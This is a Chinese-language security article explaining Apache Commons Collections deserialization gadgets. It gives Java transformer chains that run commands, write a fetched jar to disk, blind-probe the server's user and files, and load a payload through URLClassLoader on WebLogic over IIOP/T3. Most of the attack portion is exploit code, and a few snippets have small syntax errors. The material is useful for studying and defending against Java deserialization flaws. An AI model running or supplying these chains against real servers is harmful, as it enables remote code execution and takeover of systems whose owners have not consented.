Apache CommonCollection Gadget几种特殊的玩法

0x01 简介

众所周知，CommonCollection Gadget主要是由ConstantTransformer，InvokerTransformer，ChainedTransformer构成。gadget主要通过Transformer接口的transform方法，对输入的对象做变换。ConstantTransformer不会做任何变换，只会返回类在实例化时传入的对象，InvokerTransformer会对类在实例化时传入的参数，通过反射去调用，ChainedTransformer将所有的Transformer连接起来，上一个Transformer的transform方法的结果，作为下一个Transformer的transform方法的参数。这样就完成java反序列化的gadget。下面为调用Runtime执行calc的CommonCollection的chain

final Transformer[] transformers = new Transformer[] {

new ConstantTransformer(Runtime.class),

new InvokerTransformer("getMethod", new Class[] {

String.class, Class[].class }, new Object[] {

"getRuntime", new Class[0] }),

new InvokerTransformer("invoke", new Class[] {

Object.class, Object[].class }, new Object[] {

null, new Object[0] }),

new InvokerTransformer("exec",

new Class[] { String.class }, execArgs),

new ConstantTransformer(1) };

上面的chain等效与下面的代码

Runtime.class.getMethod("getRuntime", new Class[0]).invoke(null, new Object

从上面的代码中我们可以暂时得出以下结论

只有链式调用的方法才可以被改写成CommonCollection执行链

gadget中，不能有变量声明语句

没有while等语句

一切操作靠反射

0x02 CommonCollection其他Transform的简介

在org.apache.commons.collections.functors中，所有的类都可以被简单的分为三类，分别继承自Transformer接口， Predicate接口，Closure接口。这三个接口主要有以下区别

Transformer接口接收一个对象，返回对象的执行结果

Closure接口接收一个对象，不返回对象的执行结果

Predicate接口，类似条件语句，会根据执行结果，返回true或者false。这个将主要用在SwitchTransformer类中对于我们来说，Closure接口没有太多用，下面主要介绍一下继承自Transformer接口的类与继承自Predicate接口的类

继承自Transformer接口的类ChainedTransformer

将实例化后的Transformer的类的数组，按顺序一个一个执行，前面的transform结果作为下一个transform的输出。

public Object transform(Object object) {

    for (int i = 0; i < iTransformers.length; i++) {

        object = iTransformers[i].transform(object);

    }

    return object;

}CloneTransformer

调用并返回输入对象clone方法的结果

public Object transform(Object input) {

    if (input == null) {

        return null;

    }

    return PrototypeFactory.getInstance(input).create();

}ClosureTransformer

将Closure接口的类转换为Transformer

public Object transform(Object input) {

    iClosure.execute(input);

    return input;

}ConstantTransformer

调用transform方法，只返回类在实例化时存储的类

public Object transform(Object input) {    return iConstant;}

ExceptionTransformer

抛出一个异常，FunctorException

public Object transform(Object input) {    throw new FunctorException("ExceptionTransformer invoked");}FactoryTransformer

调用相应的工厂类并返回结果

public Object transform(Object input) {    return iFactory.create();}InstantiateTransformer

根据给定的参数，在调用transform方法的时候实例化一个类

public Object transform(Object input) {

    try {

        if (input instanceof Class == false) {

            throw new FunctorException(

                "InstantiateTransformer: Input object was not an instanceof Class, it was a "

                    + (input == null ? "null object" : input.getClass().getName()));

        }

        Constructor con = ((Class) input).getConstructor(iParamTypes);

        return con.newInstance(iArgs);

    } catch (NoSuchMethodException ex) {

        throw new FunctorException("InstantiateTransformer: The constructor must exist and be public ");

    } catch (InstantiationException ex) {

        throw new FunctorException("InstantiateTransformer: InstantiationException", ex);

    } catch (IllegalAccessException ex) {

        throw new FunctorException("InstantiateTransformer: Constructor must be public", ex);

    } catch (InvocationTargetException ex) {

        throw new FunctorException("InstantiateTransformer: Constructor threw an exception", ex);

    }

}InvokerTransformer

调用transform方法的时候，根据类在实例化时提供的参数，通过反射去调用输入对象的方法

MapTransformer

在调用transform方法时，将输入函数作为key，返回类在实例化时参数map的value

public Object transform(Object input) {    return iMap.get(input);}NOPTransformer

啥也不干的Transformer

public Object transform(Object input) {    return input;}SwitchTransformer

类似if语句，在如果条件为真，则执行第一个Transformer，如果条件为假，则执行第二个Transformer

public Object transform(Object input) {

for (int i = 0; i < iPredicates.length; i++) {

if (iPredicates[i].evaluate(input) == true) {

return iTransformers[i].transform(input);

}

}

return iDefault.transform(input);

}PredicateTransformer

将Predicate包装为Transformer

public Object transform(Object input) {    return (iPredicate.evaluate(input) ? Boolean.TRUE : Boolean.FALSE);}

StringValueTransformer

调用String.valueOf，并返回结果

public Object transform(Object input) {

return String.valueOf(input);

}继承自Predicate接口的类AllPredicate

在执行多个Predicate，是否都返回true。

public boolean evaluate(Object object) {

    for (int i = 0; i < iPredicates.length; i++) {

        if (iPredicates[i].evaluate(object) == false) {

            return false;

        }

    }

    return true;

}AndPredicate

两个Predicate是否都返回true

public boolean evaluate(Object object) {

    return (iPredicate1.evaluate(object) && iPredicate2.evaluate(object));

}AnyPredicate

与AllPredicate相反，只要有任一一个Predicate返回true，则返回true

public boolean evaluate(Object object) {

    for (int i = 0; i < iPredicates.length; i++) {

        if (iPredicates[i].evaluate(object)) {

            return true;

        }

    }

    return false;

}EqualPredicate

输入的对象是否与类在实例化时提供得对象是否一致

public boolean evaluate(Object object) {    return (iValue.equals(object));}ExceptionPredicate

在执行evaluate时抛出一个异常

FalsePredicate

永远返回False

IdentityPredicate

evaluate方法中输入的对象是否与类实例化时提供的类是否一样

public boolean evaluate(Object object) {    return (iValue == object);}InstanceofPredicate

输入的对象是否与类实例化时提供的类的类型是否一致

public boolean evaluate(Object object) {    return (iType.isInstance(object));}

NotPredicate

对evaluate的结果取反操作

public boolean evaluate(Object object) {    return !(iPredicate.evaluate(object));}NullIsExceptionPredicate

如果输入的对象为null，则抛出一个异常

NullIsFalsePredicate

如果输入的对象为null，则返回false

NullIsTruePredicate

如果输入的对象为null，则返回true

NullPredicate

输入的对象是否为null

OrPredicate

类似与条件语句中的或

public boolean evaluate(Object object) {   return (iPredicate1.evaluate(object) || iPredicate2.evaluate(object));}TransformerPredicate

将一个Transformer包装为Predicate

0x03 使用方法

CommonCollection写入文件

这种方法通过InvokerTransformr调用构造函数，然后再写入文件。当然，这里我们可以使用InstantiateTransformer去实例化FileOutputStream类去写入文件，代码如下

            new ChainedTransformer(new Transformer[]{

                    new ConstantTransformer(FileOutputStream.class),

                    new InstantiateTransformer(

                            new Class[]{

                                    String.class, Boolean.TYPE

                            },

                            new Object[]{

                                    "filePath, false

                            }),

                    new InvokerTransformer("write", new Class[]{byte[].class}, new Object[]{getRemoteJarBytes()})

            }),Gadget版盲注

思想类似于Sql的盲注。我们可以通过如下语句检测java进程是否是root用户

if (System.getProperty("user.name").equals("root")){

throw new Exception();

}

我们可以通过如下cc链，执行该语句

    TransformerUtils.switchTransformer(

            PredicateUtils.asPredicate(

                    new ChainedTransformer(new Transformer[]{

                            new ConstantTransformer(System.class),

                            new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getProperty", new Class[]{String.class}}),

                            new InvokerTransformer("invoke",

                                    new Class[]{Object.class, Object[].class},

                                    new Object[]{null, new Object[]{"user.name"}}),

                            new InvokerTransformer("toString",

                                    new Class[]{},

                                    new Object[0]),

                            new InvokerTransformer("toLowerCase",

                                    new Class[]{},

                                    new Object[0]),

                            new InvokerTransformer("contains",

                                    new Class[]{CharSequence.class},

                                    new Object[]{"root"}),

                    })),

            new TransformerUtils.exceptionTransformer(),

            new TransformerUtils.nopTransformer());是否存在某些文件

if (File.class.getConstructor(String.class).newInstance("/etc/passed").exists()){

Thread.sleep(7000);

}

改写成cc链

TransformerUtils.switchTransformer(

PredicateUtils.asPredicate(

    new ChainedTransformer( new Transformer[] {

        new ConstantTransformer(File.class),

        new InstantiateTransformer(

                new Class[]{

                        String.class

                },

                new Object[]{

                        path

                }),

        new InvokerTransformer("exists", null, null)

    })

),

new ChainedTransformer( new Transformer[] {

    new ConstantTransformer(Thread.class),

    new InvokerTransformer("getMethod",

            new Class[]{

                    String.class, Class[].class

            },

            new Object[]{

                    "sleep", new Class[]{Long.TYPE}

            }),

    new InvokerTransformer("invoke",

            new Class[]{

                    Object.class, Object[].class

            }, new Object[]

            {

                    null, new Object[] {7000L}

            })

}),

TransformerUtils.nopTransformer();)weblogic iiop/T3回显

主要问题有 目前只能用URLClassloader，但是需要确定上传到weblogic服务器的位置。而这里我们知道，windows与linux的临时目录以及file协议访问上传文件的绝对路径肯定不一样。如果只用invokerTransform的话，最简单的执行回显的方案如下

攻击者weblogic

上传至Linux的临时目录/tmp/xxx.jar调用urlclassloader加载，安装实例通过lookup查找实例，检测是否安装成功安装成功，结束安装失败，抛出异常上传至windows的临时目录 C:\\Windows\\Temp\\xxx.jar调用urlclassloader加载，安装实例通过lookup查找实例，检测是否安装成功安装成功 结束安装失败攻击者weblogic

攻击一次weblogic服务器，最多可能需要发送6次反序列化包，才能成功的给weblogic服务器安装实例。这显然不符合我们精简代码的思想。下面我们用正常思维的方式去执行一下攻击过程

if (os == 'win'){

fileOutput(winTemp)

}

else{

fileOutput(LinuxTemp)

}

if (os == 'win'){

urlclassloader.load(winTemp)

}

else{

urlclassloader.load(LinuxTemp)

}

这里我们可以使用SwitchTransformer + Predicate + ChainedTransformer 组合去完成。

SwitchTransformer类似于if语句

Predicate类似于条件语句

ChainedTransformer 将所有的语句串起来执行

SwitchTransformer类需要一个Predicate，而这里TransformerPredicate可以将一个Transformer转换为一个Predicate。所以我们需要一个可以判断操作系统的chain。然后将判断操作系统的chain作为Predicate，调用switchTransformer，根据结果，将可执行ja包写入win或者linux的临时目录。然后再调用第二个switchTransformer，根据操作系统的类型，调用URLclassloader分别加载相应上传位置的jar包，通过chainedTransformer将两个SwitchTransformer将两个SwitchTransform连接起来。代码如下

    Transformer t = TransformerUtils.switchTransformer(

            PredicateUtils.asPredicate(

                    getSysTypeTransformer()

            ),

            new ChainedTransformer(new Transformer[]{

                    new ConstantTransformer(FileOutputStream.class),

                    new InstantiateTransformer(

                            new Class[]{

                                    String.class, Boolean.TYPE

                            },

                            new Object[]{

                                    "C:\\Windows\\Temp\\xxx.jar", false

                            }),

                    new InvokerTransformer("write", new Class[]{byte[].class}, new Object[]{getRemoteJarBytes()})

            }),

            TransformerUtils.nopTransformer());

    Transformer t1 = TransformerUtils.switchTransformer(

            PredicateUtils.asPredicate(

                    getSysTypeTransformer()

            ),

            new ChainedTransformer(new Transformer[]{

                    new ConstantTransformer(URLClassLoader.class),

                    new InstantiateTransformer(

                            new Class[]{

                                    URL[].class

                            },

                            new Object[]{

                                    new URL[]{new URL("file:/C:\\Windows\\Temp\\xxx.jar")}

                            }),

                    new InvokerTransformer("loadClass",

                            new Class[]{String.class}, new Object[]{className}),

                    new InvokerTransformer("getMethod",

                            new Class[]{String.class, Class[].class}, new Object[]{"test", new Class[]{String.class}}),

                    new InvokerTransformer("invoke",

                            new Class[]{Object.class, Object[].class}, new Object[]{null, new String[]{op}})}),

            TransformerUtils.nopTransformer()); // 这块自行改成linux的吧

    Transformer list = new ChainedTransformer(new Transformer[]{

            t,

            t1

    });

private static ChainedTransformer getSysTypeTransformer() {

    return new ChainedTransformer(new Transformer[]{

            new ConstantTransformer(System.class),

            new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getProperty", new Class[]{String.class}}),

            new InvokerTransformer("invoke",

                    new Class[]{Object.class, Object[].class},

                    new Object[]{null, new Object[]{"os.name"}}),

            new InvokerTransformer("toString",

                    new Class[]{},

                    new Object[0]),

            new InvokerTransformer("toLowerCase",

                    new Class[]{},

                    new Object[0]),

            new InvokerTransformer("contains",

                    new Class[]{CharSequence.class},

                    new Object[]{"win"}),

    });

}0x04 参考

https://commons.apache.org/proper/commons-collections/apidocs/org/apache/commons/collections4/functors/SwitchTransformer.html

https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html#WhileClosure